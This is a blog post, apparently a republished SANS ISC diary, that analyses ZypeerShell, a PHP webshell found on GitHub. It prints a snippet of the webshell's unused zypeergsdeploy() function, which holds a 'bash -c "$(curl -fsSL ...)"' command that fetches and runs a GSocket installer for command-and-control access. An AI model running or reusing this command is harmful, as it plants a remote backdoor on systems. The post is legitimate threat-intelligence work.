{"id":3795,"date":"2026-06-22T15:05:15","date_gmt":"2026-06-22T15:05:15","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/06\/22\/webshells-remain-popular-mon-jun-22nd\/"},"modified":"2026-06-22T15:05:15","modified_gmt":"2026-06-22T15:05:15","slug":"webshells-remain-popular-mon-jun-22nd","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/06\/22\/webshells-remain-popular-mon-jun-22nd\/","title":{"rendered":"Webshells Remain Popular, (Mon, Jun 22nd)"},"content":{"rendered":"
\n

Webshells have been popular for a long time. We already covered this topic across multiple diaries[1<\/a>][2<\/a>]. I spent some time to track them[3<\/a>] and slighly paid less attention to them but today I found another one. It seems to be a new player (pushed on Github two months ago).\u00a0<\/p>\n

The webshell is called\u00a0ZypeerShell[4<\/a>] and pretend to be “The most powerful, undetectable, and feature-rich PHP webshell available on GitHub.”. The shell is classic and provides most of the expected features for such tool:<\/p>\n

\"\"<\/p>\n

I won’t review all the features because they are classic. In the webshell version I found, some functions were present but never called from the GUI. By example, the function zypeergsdeploy() helps to connect to a C2 server through GSocket<\/p>\n

\nfunction zypeergsdeploy() {\n    zypeerhead();\n\n    echo '<div class=\"header\"><center><p><div class=\"txtfont_header\">| GSocket Deploy Tool |<\/div><\/p><\/center><br>';\n\n    echo '<div style=\"text-align:center;max-width:800px;margin:20px auto;color:#ccc;\">';\n    echo 'This tool runs the official GSocket installation command:<br>';\n    echo '<code style=\"background:#222;padding:8px 12px;font-size:15px;\">bash -c \"$(curl -fsSL https:\/\/gsocket.io\/y)\"<\/code><br><br>';\n    echo 'After installation, it will show a secret token and connection command (like gs-netcat -s \"XXXX\" -i).<br>';\n    echo 'Click \"Run\" below to execute it directly.';\n    echo '<\/div><br><hr><br>';\n\n    if (!isset($_POST['zypeer3']) || $_POST['zypeer3'] !== '>>') {\n\u00a0   [...]\n<\/pre>\n
This function is never called!<\/p>\n
Note that the Github repository contains a version obfusctated with Fortress Layer, a\u00a0multi-layer loader with integrity checks. Zypeer is also referenced as a red-team tool on a Telegram channel:<\/p>\n
\"\"???????<\/p>\n
[1]\u00a0https:\/\/isc.sans.edu\/diary\/Webshells+Webshells+everywhere\/28106<\/a>
\n[2]\u00a0https:\/\/isc.sans.edu\/diary\/Webshell+looking+for+interesting+files\/23567<\/a>
\n[3]\u00a0https:\/\/owasp.org\/www-chapter-belgium\/assets\/2017\/2017-05-29\/2017-05-29_OWASP-BE_HTTPForTheGoodOrTheBad.pdf???????<\/a>
\n[4]\u00a0https:\/\/github.com\/sagsooz\/ZypeerShell???????<\/a><\/p>\n
Xavier Mertens (@xme)<\/b>
\nXameco
\nSenior ISC Handler – Freelance Cyber Security Consultant
\nPGP Key<\/a><\/p>\n
 (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"
Webshells have been popular for a long time. We already covered this topic across multiple diaries[1][2]. I spent some time to track them[3] and slighly paid less attention to them but today I found another one. It seems to be a new player (pushed on Github two months ago).\u00a0 The webshell is called\u00a0ZypeerShell[4] and pretend […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[90],"tags":[91],"class_list":["post-3795","post","type-post","status-publish","format-standard","hentry","category-cybersecurity","tag-cybersecurity"],"yoast_head":"\nWebshells Remain Popular, (Mon, Jun 22nd) - Imperative Business Ventures Limited<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.ibvl.in\/index.php\/2026\/06\/22\/webshells-remain-popular-mon-jun-22nd\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Webshells Remain Popular, (Mon, Jun 22nd) - Imperative Business Ventures Limited\" \/>\n<meta property=\"og:description\" content=\"Webshells have been popular for a long time. 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